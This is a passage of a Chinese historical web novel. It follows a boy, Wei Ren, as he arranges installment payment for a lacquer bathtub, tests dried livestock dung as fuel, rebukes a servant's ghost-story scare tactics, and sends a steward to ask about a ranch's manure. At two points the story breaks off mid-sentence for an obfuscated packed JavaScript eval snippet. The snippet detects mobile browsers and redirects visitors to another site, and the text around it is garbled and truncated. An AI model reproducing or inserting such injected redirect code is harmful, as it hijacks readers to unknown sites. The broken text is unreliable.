熊大宝把韦仁的话在脑子里过了两遍才明白过来韦仁的意思,先是忍不住咧嘴笑了一声,随后意识到这时候笑好像不太好,忙解释说:“我不是笑你,呃,对了,你说让我帮忙,是想要与我借钱吗?还是希望,我家的器肆给你便宜些?” 韦仁看着熊大宝,不动声色地问道:“如果我又想与你借钱,又希望你能给我算便宜些,可以吗?” “便宜肯定是能便宜些的。”先干脆答应了其中一个要求,熊大宝又有些纠结地说,“我也可以借钱给你,但你不能要螺钿的,描金的也很勉强,我所有的月钱加起来也不够。” 韦仁:……就是一个洗澡盆,用漆器已经很奢侈了,还想要螺钿的?你可真敢想。 听话听音,熊大宝的月钱铁定比他多许多,压下心底的酸泡泡,韦仁说了自己的要求:“能便宜些肯定好,不过,我没想与你借钱,我是想问问,我在你家定制浴盆的话,可不可以分期付款。” 兴起给弟弟妹妹送出生礼物的念头也是心血来潮,但韦仁没想过借钱送礼,当然也没想过要去向父母兄姊伸手——问家人要钱然后再去讨家人高兴,韦仁的脸皮暂时还没修炼到那个厚度。 “分期付款”对熊大宝而言是个新概念,经过韦仁的一番讲解,熊大宝才明白何为“分期付款”。熊大宝将韦仁的话仔细消化了一番,最终得出一个“除了结账的时间长一点外,和其他客人没有差别”的结论。 “没问题,就按照你说的,我给你做任者,你分月付钱,不过你不用给利钱,咱们是朋友,我不收你利钱。” 熊大宝很豪爽,韦仁却没接这话,而是说:“你能给我做任者就是咱俩的情谊了,付钱方式和利钱的事,你还是先问问金伯母的意思吧。” “不用的,这又不是什么大事。”熊大宝不解:“五郎,你是担心我阿母不同意吗?” “在商言商,无论事大事小都是商事。”韦仁对上熊大宝天真的大眼睛,深觉自己厚道,“总之,你帮我问问就行,若是金伯母为难,不用勉强,我再想别的法子。” 韦仁自觉厚道,熊大宝却觉得韦仁小瞧了他,有些不服气:“肯定可以的,你又不是不给钱,我阿母回来我就和她说。”他内兄以前从铺子里拿些小件的漆器都不给钱呐! “我不是不信你,这买卖若是你的,我定不与你客气,但这买卖是你家的,最好还是听听金伯母的意思。”韦仁不想坑熊大宝,反而担心他太过热心,万一为了自己违逆金氏的意思就不好了,韦仁强调,“你千万别与金伯母拧着来,只帮我问问就好,行就行,不行也没关系。” “有什么区别?”熊大宝年纪虽小,却已经非常明白自己的身份,“我是长子,我家的就是我的。”他不仅是长子,还是唯一的郎君,哪怕上面还有两个异母姊姊,现在当家的是他母亲,熊大宝在家里的地位是毋庸置疑的。 这话在韦仁听来简直槽多无口,但看一眼熊大宝圆嘟嘟的脸颊以及透着纯真之光的大眼睛,韦仁忽然问道:“你认识你家器肆内的工匠吗?最厉害的那个。” 熊大宝愣了愣,然后竖起三根手指头:“我家工坊里有三个大匠,他们分别做素工、髹工和上工,都是不同的事,没办法分高下的。” 韦仁挑眉,他自己是完全不懂漆器工艺的,不想熊大宝随口就说出了漆器的工种,韦仁也没多问,而是继续自己的问题:“他们都是‘你家’的匠人,对吧?” “是啊。” “我说假设。”韦仁强调自己只是举例,“假设你现在非常非常讨厌他们,一眼也不想看到他们了,你能现在让他们卷铺盖走人吗?” “我为什么会突然讨厌他们?他们三人对我都挺好的,还教我很多东西。” “说了是假设,你只需要回答,能还是不能。” 熊大宝半晌后才有些犹豫地说:“我不会无故讨厌谁,如果我特别讨厌他们,他们肯定犯错了,我可以与我阿母说,只要她觉得我有理,就会听我的,赶他们走。” 韦仁撩起眼皮看向熊大宝:“你看,你也知道这事要问你阿母的。总之,商肆内的事,你没权利替你阿母做决定。”韦仁点题,“所以我才说,你帮我问问就行,不必强求。” 韦仁的话在熊大宝的内心掀起了巨大的风浪,活了八年,他第一次产生了“他的东西是他的东西,家里的东西是家里的东西,而阿母的东西是阿母的东西”的意识,进而生出疑惑:“阿翁去世前说了,家业都是我的。” 熊父去世时,熊大宝刚刚七岁,但那时候他已经能明白一些事,比如,熊父的兄弟——他的两个叔伯曾经是想抢走他家的器肆的,好在阿母有舅舅的支持,最终守住了家业,那几间器肆现在也都由他阿母经营着。 熊大宝忍不住说:“五郎,我有些想不明白。” “什么?” 熊大宝看着韦仁,眼里有迷茫,还有一丝掩盖不住的带着深深不解的兴许可以称之为难堪的情绪:“阿翁说家业留给我,可那些器肆到底是我的,还是我阿母的?” 韦仁:…… 韦仁没想到熊大宝竟如此敏锐,虽然话头是他起的,但韦仁不太想和熊大宝讨论这个问题。只是,他自己不小心挖的坑,总归得自己填上。 韦仁含蓄地说:“是你家的,而你和金伯母是家人,俗话说‘一家人不说两家话’,遇到事情,你们需要听取对方的意见。你不也说了,如果你有理,金伯母也会听取你的意见吗?” 熊大宝想了想,点头:“好像是这样。” “就是这样!”韦仁语气铿锵,“我说分期付款的事必须先问过金伯母的意见,就是因为咱们还太小,缺少阅历,有很多事都不懂,咱们自己觉得没问题,不代表真的是对的,所以,要听取长辈的意见。”总算把话圆了回来,韦仁暗暗呼出一口气 “……对啊,我阿翁也说,让我听阿母的话,哎呀,我差点儿忘记了!”熊大宝重重拍了自己的脑袋一下,这次的语气坚定得多,“五郎,你这样说我就明白了。” 韦仁笑而不语。 “那等阿母回来,我就与她说分期付钱的事。”熊大宝有些不好意思地抓抓耳朵,“五郎,若我阿母不同意,你不要不高兴。” 韦仁忙摆手:“不会。” 韦仁事后都得庆幸,他没有敷衍熊大宝,而是十分用心地把坑填上了。因为回到家后,沈决明就告诉韦仁,他和熊大宝在书房里说话聊天时,书房外面一直有僮人在,特别是那个给熊大宝送药的奶娘,沈决明确定,她有用心在听书房内的动静。 韦仁不喜熊家僮人的这种做派,但想到熊大宝自幼失怙,金氏对熊大宝格外关注些倒也是人之常情。 知道自己与熊大宝说的话多半会被金氏全部知悉,韦仁对金氏的态度便稍有保留,他昨天与熊大宝说得那番话,虽然没什么大毛病,但若遇到专制或者那种讲究“孝就是顺”的长辈,定会不悦。 不想次日到达学馆后,熊大宝就给韦仁带来了好消息:“我阿母同意了,她说你随时可以去肆里。”因为办成了朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156843|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友拜托的事,熊大宝有些骄傲,声音中都带着欢喜,“我把分期付款的事说与我阿母,她一听就答应了,我阿母说你很好,她会让最好的匠人给你做,也不多要你的钱。” 韦仁观察着熊大宝的表情,确定他没有说谎,心下稍安,韦仁对着熊大宝抱抱拳:“多谢你替我说话,寻个休沐日,我就去你家器肆看看。” “咱们放学又不算晚,你今天就可以来呀,我可以陪你一起去。” “不着急,我得想想浴盆要做成什么样。”韦仁提醒熊大宝,“这事你先替我保密,这是我给弟弟妹妹的惊喜。” “没问题。” 其实,浴盆做成什么样子,韦仁已经想好了,就仿照着上辈子他一位好友给家里孩子买的浴盆的样式就行,他现在真正要考虑的是:从哪里弄钱! 漆器是很贵的,哪怕是最最普通的漆杯都能卖到四五十铜钱,换做上等货,价格能翻上十倍。韦仁没打算买太贵的,但也不能太寒碜,而他那每月一百铜钱的月钱肯定是不够的。 韦仁心中已经有了主意,但如何操作还需要再思量,于是上午的课时,韦仁过得相当浮躁,思绪总是时不时飘回家里的牲畜棚。 戚先生自然看出韦仁上课时有些心不在焉,连续警告两次无果后,戚先生拿出了戒尺在韦仁眼前晃了几下,韦仁这才勉强放下脑海中的赚钱大计认真听戚先生讲课。不过,因为戚先生没真下手,韦仁真正专心起来时,都已经是下午的事了。 心里虽然想着赚钱的事,韦仁放学后仍是没急着回家,依然去学馆后院给戚先生做事。 菜畦如今事情不多,种子均已下地,草还没冒出来,韦仁帮着浇浇水就行了。韦仁今天主要帮戚先生检查竹简——前段时间不是阴天就是下雨,竹简受潮后很容易发霉。 韦仁要做的事就是翻看竹简,若发现有哪片竹简发霉了,能拯救的就拯救一下,不能拯救的,就要把竹片拆下来,待戚先生按照竹片上的内容重新抄写一份,韦仁再把新的竹片重新绑回去。 这事不难,但韦仁干得仍是有些心酸,这世道,农人种地自是不易,可读书人也有读书人的难呀。 韦仁忍不住说:“先生,竹简真是太不方便了。”如果放到两千年后,在书架上摆几卷竹简,还能装装文化人,放到如今,韦仁只觉得这些竹简真是又占地方又难伺候。 戚先生听到韦仁那感叹的语气,呵呵一笑:“五郎,你可知,百多年前,大多数人是如何书写的吗?” 韦仁想了想,百多年前,不是建国初就是前朝,若是建国初,戚先生应不会用这样的时间词,也就是说,戚先生说的是前朝。 呃,前朝不就是秦朝吗?韦仁脑海里不禁冒出来那位鼎鼎有名的帝王,小心脏跟着抖了抖,无论如何,韦仁十分庆幸没生在那时候,都说“一将功成万骨枯”,那成就一位名垂千古的帝王,不知道千万骨够不够,他可不想去修长城! 甩掉各种胡思乱想,韦仁猜测道:“是用皮子吗?” “那可是用不起的。”戚先生将新写好的竹片递给韦仁,“那时候也是用竹简的,但有毛笔前,字均是用刀刻上去的。” 韦仁双眼微睁,半晌后,方叹息道:“先人不易呐!” “是啊。那时候读书的人定是没有现在读书的人多,一件事,做的人多了,总有一些人会产生奇思,又有能力和运气实现那些奇思,百年后,或许那时候的读书人用的便是完全不同的‘笔’和‘竹简’了。” 韦仁听得心头悸动,眼睛亮晶晶地看着戚先生:“或许不用那么久,或许我就是那些人中的一个。” “狂妄!”戚先生先是批评了一句,继而抚须大笑,“若是如此,那史书上或将有你一席之地!” 28.第一桶五铢钱一 登上史书什么的,韦仁完全没想过,于他而言,如今最要紧的事是验证他赚钱的法子是否可行。 韦仁回到家后,用晚食前还有一段时间,他没如平日那般与赵氏聊天,而是指使毋忧几人给他准备东西,他自己则跑去了牲畜棚。 回家的路上,石大郎就知道韦仁今天要检收他那些马粪和牛粪,便也一直留在了牲畜棚,等韦仁过来后,就领着他去看存放马粪和牛粪的小屋,沤肥用的两个木桶也被放在这里。 韦仁先走到木桶旁边嗅了嗅,有些失望地发现味道仍然很重,随后,韦仁才走向整齐码放在角落里的马粪和牛粪堆。 韦仁耸着鼻子仔细闻了闻周围的空气,除了自木桶那里飘过来的味道,再没有其他异味,韦仁很满意:“全都晒干了吧?” “是,每一批我都掰开看过,晒得透透的。”石大郎指着分开放置的两堆,向韦仁解释,“这边的是马粪,那边的是牛粪,五郎君,你是现在就要用吗?” 韦仁点头:“拿两个筐过来。” 石大郎做事周全,拿了筐后不用韦仁吩咐,就主动问道:“是分别装上牛粪和马粪吗?” 韦仁不答反问:“石大叔,你知道每天大概能收集多少吗?” 石大郎点头:“知道,最开始三天都是我亲自收的,不过也有些拉在了外面,那些就没办法了。” 韦仁点头,这才指着那两个竹筐:“按照一头牲畜一天的量,分别装起来就行了,我一会儿让毋忧过来拿。” 石大郎本以为韦仁是要把这两筐粪拿到牲畜棚的空地去折腾,听韦仁的话,不免问道:“五郎君,这两个筐是要拿去君子院吗?” “是啊。” “那我帮你拎过去吧,也免得让毋忧再跑一趟。” “也行,那就辛苦石大叔了。” 石大郎见韦仁让他把那两筐畜粪放到了君子院湢室的灶间内,不免好奇:“五郎君,你这是要做什么?” “到时候你就知道了。” 韦仁要卖关子,石大郎也不敢多问,只得顶着一脑袋问号离开了。 韦仁这样折腾,知道的人没有不好奇的,但韦仁相当稳得住,哪怕是赵氏问他,他都是一句“到时候你就知道了。” 直到用完晚食、记完笔记、蹲完马步,韦仁才颤抖着两条小短腿走去了湢室。 平时,韦世然因为角抵会比韦仁迟一些沐浴,今天因为好奇韦仁要做的事,他也没在沙坑里多待,见韦仁起身去了湢室,他也急急忙忙地跟去了。 “五郎,现在能说了吧?”韦世然都有些抓耳挠腮了,“你到底要做什么呀?” “我要试试这些马粪和牛粪能不能烧。” 韦世然以及跟过来准备帮忙的沈决明几人:…… 答案揭晓,韦世然也说不清楚是失望,还是莫名其妙,半晌只憋出一句话:“你之前给那些羊粪又是加料又是洒水的也就算了,怎么又想起烧牛粪和马粪了?”自家弟弟和粪便有仇吗? “这叫雨露均沾。”说完,韦仁就指挥着毋忧和沈决明开始干活,“分别称出一斤木柴、半斤牛粪和半斤马粪。” 毋忧和沈决明也分外无语,但既然五郎君让称,那就称呗,毋忧还非常细心地用一块破布将秤盘包了起来,以免秤盘被畜粪污了。 石岩不会对韦仁的决定妄加干涉,剩下一个阿桂,眼见韦仁已经指挥毋忧拿铜镜和艾绒过来了,犹豫再三,阿桂终是拦在韦仁面前,小心翼翼地劝解:“五郎君,灶台这边烟熏火燎的,你要做什么只管吩咐我们。” 韦仁拒绝:“不行,这是试验,我得亲自来。” 韦仁之前也没惦念起“点火”这件事,现在机会来了,韦仁就有些手痒痒,他还没用过阳隧镜,很想试一试。说起来,有点儿像他第一次擦火柴的经历,有点儿害怕,也有点儿期待。 韦仁还在回忆他第一次点火烤的是蛐蛐还是蝉,阿桂已经在烦恼新的劝说理由。 阿桂权衡了一下,到底没敢把赵氏搬出来压韦仁,而是换上一副推心置腹又有些难为情的表情,压低了声音说道:“五郎君,你是不知道,不满十岁的孩童玩儿火的话,晚上是要被鬼抓走的。” 韦仁没搭腔,韦世然却是十分惊诧:“阿桂,这世上真有鬼呀?” 阿桂一脸郑重又沉重地点了点头:“是的。” 韦世然有点儿怕,又有点儿好奇:“鬼长什么样儿?他会飘吗?他为什么要抓孩童呀?他也是小孩子吗?他晚上来,他父母不担心吗?” 阿桂差点儿没被噎死,缓了缓,无视掉韦世然这些问题,换了个方向,再使一计:“我小时候没玩儿过火,也没见过,不过,我听说,孩童玩儿火不仅会被鬼抓,还会尿床呢。” 阿桂这次总算把准了韦世然的脉,“玩火会被鬼抓走”这样的理由吓不住韦世然,但“尿床”这种听起来一点不威风而且很丢人的事,简直是正中韦世然的下怀。 韦世然不疑有他,愁眉苦脸地看向韦仁:“五郎,我三岁以后就没再尿床过了。”想了想,又补充了一句,“你四岁以后也没尿过床。” “别听阿桂胡说,大兄,你都九岁了,今天若真地尿床了,就得请梅先生过来给你看看,你是不是生病了。”韦仁白了韦世然一眼,“鬼什么的更是阿桂在鬼扯,他自己都没见过,你还真信他的话?” 韦世然、阿桂:…… 韦仁瞟一眼阿桂,张嘴才要说什么,可看到他那双不大的眼睛里都闪出泪花了,韦仁梗了一下,想了想,韦仁最终拉着韦世然一起往后退了几步,距离灶台远了些:“我们就看着,不会被烫着的。” 阿桂见状可算是松了一口气,没再说别的,忙退到一边。 毋忧这时候才慢悠悠地走过来,拿着手里的铜镜和艾绒直接去外面点火,然后不一会儿,就举了个燃烧的枯枝走了回来。 毋忧直接蹲在其中一个灶口前,捡了一块儿牛粪丢进去:“五郎君,那我现在就点了?” “点吧。” 因为不知道牛粪到底能不能烧,毋忧在牛粪周围撒了些干草叶助燃,然后才用燃烧着的枯枝去戳牛粪,没想到草叶才烧起来,牛粪块也瞬间被火焰舔舐,火苗突然就窜高了一大截! 在“噼噼”的声音中,一屋子的人都禁不住眼前一亮,韦世然高兴地直拍手:“烧了!五郎,烧了!” 毋忧随之又捡了一块马粪,如法炮制,燃烧的效果也差不多,略等了一会儿,毋忧看向韦仁:“五郎君?” “嗯,灭了吧。”看着毋忧往两块畜粪上倒了一簸箕沙子,等火苗熄灭后,又把这些残余从灶口下扫出来,韦仁看向沈决明,“马粪块和牛粪块都能烧,记下来吧。” 沈决明在韦仁吩咐前,已经唰唰唰地把实验过程完整地写在了竹简上。 “五郎,接下来做什么?” “既然它们都能烧,我想看看,半斤粪块和半斤木柴分别能烧出多少釜开水。” 因为中间涉及到换水和添柴之类的操作,韦仁一方面希望操作时的时间尽量一致,一边也担心换水时出现危险,便多嘱咐了众人几句:“急生乱,乱生危,千万不要着急。沈决明,你注意看一下两个釜中的水哪边先冒泡,相隔时间用呼吸计算,尽量准确。” 这次阿桂和石岩都要帮手,四人表示已经记住韦仁的话,然后又互相商量了一下如何配合,随着韦仁一声令下,四人便开始“架锅起火”烧开水。 看着众人忙活,韦世然感觉有哪里不太对,琢磨了一会儿,才反应过来,马上深吸了一口气,片刻后,韦世然惊奇地看向韦仁:“不臭,是吧?我还以为粪便烧起来会很臭呢。”说着,韦世然又耸了耸鼻子,“还有点儿好闻。” “晒干之后就没什么味道了,可能那时候臭味都散没了吧。”至于是不是好闻,这就见仁见智啦。 “应该是。”盯着第一釜水烧开,韦世然突然侧过头看着韦仁,“五郎,你想用畜粪代替木柴吗?” 韦仁点头:“既然能用就用呗。”韦仁扬着下巴示意韦世然看毋忧几人,“现在又多了沈决明和石岩,每天要多烧不少水,咱们院子木柴的用度太大了。”在整个韦家,只有四房的人会天天沐浴,也只有君子院的僮人至少两日一沐。 韦世然被韦仁带领着早就已经习惯一日一沐,听他如此说,也觉有理。 不过,韦世然仍然好奇:“五郎,马粪和牛粪为什么能烧起来呀?咱们拉的屎可以烧吗?” 且不论人拉的屎能不能烧,他们拉的屎都喂猪了,根本留不下好不好? 韦仁对某些问题真不愿意多想,便只回答了前一个问题:“大兄,你有时间可以去牲畜棚那里仔细看看牛粪和马粪,里面有很多草杆,很多人家里用不起木柴,就是烧草杆的。” “你怎么知道的?” “你没注意吗?咱们师娘平日做饭,除了木柴也会烧秸秆的,烧出来的草木灰还可以肥地,戚先生种菜前让我往地里撒了不少草木灰呢。” 韦世然长长“哦”了一声,整完地后韦世然再没有去帮戚先生种地,韦世然有些心虚,忙忙换了个话题:“你说,是用木柴的人多,还是烧草杆的人多?” 韦仁扬扬眉:“什么意思?” “冬日时,咱们在屋子里烧炭,我以前问过阿母,为什么咱们烧炭,阿桂他们家里是烧木柴的。”韦世然回忆起往事,“阿母说,因为炭比柴贵三倍,所以只有很少的人会用炭,大部分人还是用木柴的。” 韦仁心下了然:“穷人总比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿桂便跟着韦仁,打算侍候韦仁沐浴,结果韦仁看他一眼,示意他与自己一起出去,阿桂有些茫然,跟着韦仁一起走出了湢室。 韦仁也没走远,在湢室门口几步远的地方停下脚步,然后就仰头看着阿桂。 韦仁眼睛一眨不眨看人时,阿桂不知其他被看的人感觉如何,但他每次被韦仁这样看时,心里都毛毛的,因为他知道,韦仁对他肯定有所不满了。 阿桂条件反射般地就开始思索他又有哪里惹五郎君不高兴了,想了一下,便猜测或许是他不让韦仁和韦世然玩儿火的原因。想至此,阿桂倒不那么担心了,因为这事他做得没错,哪怕问到夫人那里,他也很有底气。 韦仁就看着阿桂一下子忧愁,一下子放松,脸色变了又变,深觉有趣。 嘴角一翘,韦仁幽幽地说道:“阿桂,你是不是在想,我现在很不高兴是因为你刚刚阻止我亲自点火,但你又觉得自己没错,所以也不怕我对你发火?” 被韦仁一句话道破心思,阿桂心里咯噔一下,只苦笑着对韦仁作揖:“五郎君,火真不是好玩儿的,要是被烫着了,特别受罪,真的。” “我知道你是为了我们的安全着想,我没怪你,我若不听劝,被烫着了,也是我自己不懂事。” 阿桂可不敢应承这种话,连忙说道:“五郎君说得哪里话,我没这么想过,而且,逾越地说,只要我们劝得对,五郎君向来听的。”坦白地说,在阿桂心里,韦仁比韦世然好说话得多,但前提是没犯到韦仁的忌讳,胡蔗一直是阿桂的前车之鉴呐。 韦仁点头:“你没说错,实话再不好听我也愿意听,但是有一点……”韦仁掀起眼皮直直盯着阿桂,“以后别再用‘小孩儿玩儿火会被鬼抓走或者尿床’这种没道理又没根据的理由吓唬我们,再有下次,你是知道我的脾气的。” 阿桂才放松的心脏猛地坠了一下,匆忙解释:“五郎君,我、我不是故意的,我也不是故意吓唬郎君,就是说顺嘴了。”阿桂真是说顺嘴了,他自小听着这种话长大,而他在家时也是这么吓唬他家那熊孩子的,真是一时没搂住嘴。 阿桂语无伦次地解释了半天,韦仁都没开口,阿桂暗骂自己昏了脑袋,不再解释,直接弯下腰对韦仁作揖,认错道:“五郎君,我知道错了,以后定不会了。” 韦仁仍是不说话,就默默地看着阿桂的后脑勺,眼见着一颗豆大的汗珠砸在阿桂脑袋正下方的土地上,而阿桂的膝盖也微微弯了起来时,韦仁突然弯下腰,侧着脑袋仰望着阿桂挂满汗珠的脸,韦仁眨巴眨巴眼睛,笑得天真又无邪:“吓你的。” 阿桂有点儿懵,喉结忍不住滚动了一下,愣是不知该如何接口。 韦仁轻“哼”一声:“现在知道被吓的滋味了吧?” 29.第一桶五铢钱二 韦仁沐浴完,又让沈决明给他按摩放松了一次,不过放松过后,韦仁并没有直接上床就寝,而是坐到了书案前,拿着算筹和笔墨开始计算——他得知道马和牛一年产出的粪便能做出多少燃料,进而计算出他能通过这些畜粪换来多少枚五铢钱。 最终得出的结果,韦仁还算满意,若是按照他们家的牛马的产粪、收粪量,哪怕以木柴八成的价格出售,一只牲畜一年也能赚到五百到六百枚铜钱。 韦仁当然不会指望着他们家那些一只手就能数得过来的牲畜给他赚钱,韦仁看上的是县里的畜牧场。 韦仁很想亲自去看看,不过他还要上学,只能把事情交给其他人,韦仁不得不向赵氏借了石大郎。 君子院的事情,赵氏想知道,那是一定能知道的。何况还有一个大嘴巴的韦世然在,他甚至都没等到第二日,韦仁还在屋子里写写算算时,韦世然已经跑去正院和赵氏讲了他们在湢室灶间的试验了。 所以,当韦仁在早食后提出要石大郎去畜牧场帮他打听事情的时候,赵氏就猜到韦仁是想去收揽畜牧场内的畜粪。 “你这是打算运回来当木柴烧,还是要做什么?”韦世然说韦仁是想用畜粪烧水以方便阿桂几人勤沐浴,赵氏信这话,但也只信一半,因为若只为了供给君子院,根本不用跑去畜牧场那么远的地方。 韦仁手里没人,唯一能指使的沈决明一方面交流不便,一方面对驺县不熟,所以,赚钱的事铁定是瞒不住的,韦仁便直接承认了:“我想用它们赚点儿钱。” “五郎,你是想买什么东西吗?”赵氏蹙起眉头,她不愿意韦仁做商贾事,“你与我说,只要你想买的是需要的东西,哪怕是玩具,我也可以让司计给你支钱。你现在是学生,不要在这种事上分散精力。” 赚钱的事是瞒不住的,但给未来弟妹买浴盆的事韦仁还是想保留下来当作惊喜的,面对不想回答的问题,韦仁很会答非所问。 韦仁蹭到赵氏身边,一屁股坐到了赵氏的席垫上,和赵氏靠得紧紧的,然后一把抱住她的胳膊,撒娇道:“我保证不耽误学业,阿母,你就答应我呗?” 韦仁的瞳孔是琥珀色,他的睫毛不弯,但又长又密,当他仰着脑袋,满脸央求地看着赵氏时,赵氏实在说不出拒绝的话。 赵氏不愧是生出韦仁的人,面对不想答应又没办法狠心拒绝的事,赵氏同样很会答非所问:“五郎,你要上学、要帮戚先生做事、要种稻子,还要学武,对了,你阿翁还让你练字,这些还不够你忙的?” “这件事我又不是亲自去做,这不就向阿母借人来了吗?” “你要怎么做?要不,你把事情与我说了,我找人替你办?” 韦仁:……那赚来的钱算谁的? 韦仁还有事要求赵氏,这么伤感情的话他也说不出口,只是脸已经皱起来了。 赵氏哪里看不出来韦仁心里的小九九,抬手在他鼻梁上刮了一下:“小没良心的,和你阿母算账来了?” 韦仁被戳穿心思,也不尴尬,反而笑得越发谄媚,摇晃赵氏手臂的动作都不自觉加大了几分:“阿母,你就答应我呗!我保证,绝对不耽误课业!” 赵氏被摇得不得不用手臂架住凭几才稳住身体,笑骂:“你老实些!”她是真不乐意韦仁在商贾事上费心思,还是和畜粪有关的,说出去名声也不好听,只是韦仁实在磨人,眼见着就到上学的时辰了,韦仁屁股还死沉死沉地不肯动弹,赵氏无法,只得暂且退了一步,“你先去上学,等你阿翁回来,我与他商量商量。” 韦仁立刻说:“阿翁都是听阿母的!” 赵氏勾起唇角,不过依然不肯松口:“这事以前没人做过,若是因此传出什么不好的名声,是得不偿失。” 韦仁见赵氏打定主意了,也不再坚持,而是讨价还价道:“那也先让石大叔去看看,先不管事情能不能成,咱们总要先做好准备。”见赵氏欲要反驳,韦仁连忙补充,“阿翁肯定也要问的,总不能到时候再去打听。” 赵氏想了想,终是应了:“行吧,你想打听什么,自去与石大郎说,这几天,他都归你使唤。” “哎!”韦仁高兴地从席子上跳起来,“阿母,那我就和大兄去学馆啦!” 看到韦仁连蹦带跳地一溜烟儿就跑出了正院,那背影一看就知道他正乐呵着,赵氏忍不住摇了摇头:“你说,五郎怎么突然就想赚钱了呢?家里也没短缺他什么呀。” 跪坐在一旁的阿珀想了想,才说:“兴许和郎君在学馆里的那位同窗有关?我记得五郎君提过一嘴,那家人是商贾。” 韦仁虽然会与赵氏说学馆里的事,但很少提到具体某个人的私事,大多都是讲学到了什么,午食吃了什么或者谁和谁吵嘴、被戚先生罚了之类的,所以赵氏对熊大宝的家事也不是特别清楚,听到阿珀说的话,只点点头:“那孩子很是乖巧,听说也很好学,每天都会向五郎请教功课,出身商贾真是有些可惜了。” 驺县的畜牧场位于新聚和渐兴聚之间,是渐兴聚中罗氏家族的产业。 罗氏畜牧场不仅与县衙合作,比如出借马匹与官吏出行、提供奶汁供酒榷制作奶酒等,也是驺县以及下辖各聚最大的肉类和皮毛的提供者。 附近百姓若要租借或者购买牲畜也多会来罗氏畜牧场,畜牧场内甚至拥有一名,也是驺县唯一的一名兽医。 石大郎便是与罗氏畜牧场内的二管事王季相熟,他将韦仁和韦世然送到朝元馆后,就带着沈决明和石岩去了王季在畜牧场内的家。 知道石大郎来访,王季很快从畜棚赶回来,双方一碰面,王季双手一抱,热情道:“石兄今天来得巧,我正想派人去给你送个信儿。” 石大郎还一礼,也是笑着问道:“可是有事?” “场里刚好有两头老牛准备宰杀,已经去向县衙报备,我这里想着,是不是得给赵夫人留一份? “劳你费心,定是要的。”赵氏很喜欢吃牛肉,只要畜牧场这边要杀牛,王季都会给韦家四房留一份。 二人寒暄几句,王季这才看向跟在石大郎身后的石岩和沈决明,目光先是落在石岩身上:“这就是你家大郎吧?听说大郎如今跟在四小郎君身边,真是能干。” “你的消息可真是灵通。”石大郎指指沈决明,“这是沈决明,现在跟在五郎君身边,今天我就是带他们过来认认路。大郎、决明,过来拜见王叔。” 石岩和沈决明一同向王季行礼,石岩称呼王季为“王叔”,王季笑着应了。 王季见沈决明没有出声,虽然心存疑惑,但也没多问。 石岩喝一口王家待客用的甜水,放下漆杯后才与王季说明来意:“我今天过来是想向季弟打听些事。”顿了顿,石岩补充道,“是与这牧场有关的。” 王季颔首:“兄尽管问,能说的,我保准不会隐瞒。” 石岩摆手:“可不是机密事,就是你们这畜牧场内的畜粪,可是有去处?” 王季想起石岩之前就过来要过一次羊粪球子,不禁笑道:“可是五小郎君又想要羊粪了?说起来,不知五小郎君那稻米种得如何了?” 石岩哪里会知道,忍不住看了沈决明一眼,沈决明就坐在石岩下首,见状便略略轻身过去,在石岩面前的矮案上划了五个字:部分已出芽。 “唔,已经出芽了啊。”石岩半是自言自语,半是说给王季听的,随后才继续说,“不止羊粪,五郎君这次连牛马粪也想要。” 王季有些讶异地看了沈决明一眼,这才知道,沈决明竟是个哑巴。 沈决明立刻察觉到王季落到他身上的目光,但他已经习惯这种带着惊愕和好奇的打量,王季的打量中甚至没有鄙夷,沈决明便也当作没注意到,仍是规矩地坐着,双手放在大腿上,视线投向王季的方向,但着落点却只在王季的胸口处。 王季没有小看沈决明,不能说话还能跟在小郎君身边,必是有过人之处,收回目光,王季回答石岩的话:“没问题,我让倾脚夫给你挑来,这次准备要多少?” “所有。” 王季愣了一下,以为自己听错了,忍不住掏了掏耳朵:“兄说多少?” 石岩笑着点了点头:“你没听错,五郎君想要你们畜牧场内所有的马牛羊粪。” “用来做肥吗?” 石岩笑而不语。 王季见状没再继续 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真是险没把长房大郎君的鼻子气歪,大郎君倒不指望那十亩地的麦子吃饭,主要是丢脸呐——这主意不是二小郎君白打听出来的,而是花了五百铜钱从过路的商贾那里买来的!这事一出来,二小郎君丢了大脸,大郎君也跟着失了颜面,还被族长训诫,说他教子无方。 石大郎默了默,没有韦仁的允许,他也不敢把韦仁怎么折腾那些羊粪的事情告知王季,而且,那些羊粪现在还闷在桶里,能不能用、用了会不会也是烧苗或者长虫子的命也是说不定。 “多谢你提醒,这事我会与五郎君说的。”石大郎将话题扯回来,“这么说,这畜牧场的畜粪是直接弃了?”畜牧场内和家里的牲畜棚差不多,一般都不会让畜粪留过夜,因为这样容易让牲畜染病。 王季喝了口水,点头:“对,除了二小郎君那里有时候还会让人取走一些外,每日倾脚夫铲了,就拉去北边靠近松木林那里就地埋了。” 石大郎想了想,说道:“倘若五郎君就是想要这些畜粪,每天把这些畜粪运到新聚韦庄去,你这里能不能做主?” 王季食指抚过唇上短须,沉思片刻才说:“以韦郎君与家主的交情,家主没有不答应的道理,最多就是多给些脚钱,只是……” “有何顾虑,弟尽管说。” “畜牧场内的事,我们三房说得上话,你我二人的家主也不会计较这些。但石兄也知道,这畜牧场是罗家整个家族的产业,我担个二管事的名头,上面还有长房的大管事在。”王季露出一个你知我知的笑容,“什么东西,哪怕在你我看来没有任何用处,但只要有人想要,那这东西也就有用了。” 石大郎颔首:“我明白。”要得太多就不能白拿了,钱多钱少都好说,但得有东西让三房这边可以堵住罗家其他人的嘴。 石大郎又与王季打听了一些韦仁想知道的事,比如畜牧场内各有马牛羊多少、每天能铲出多少粪、若是每日给新聚韦庄送一次粪,需要多少脚钱之类的。 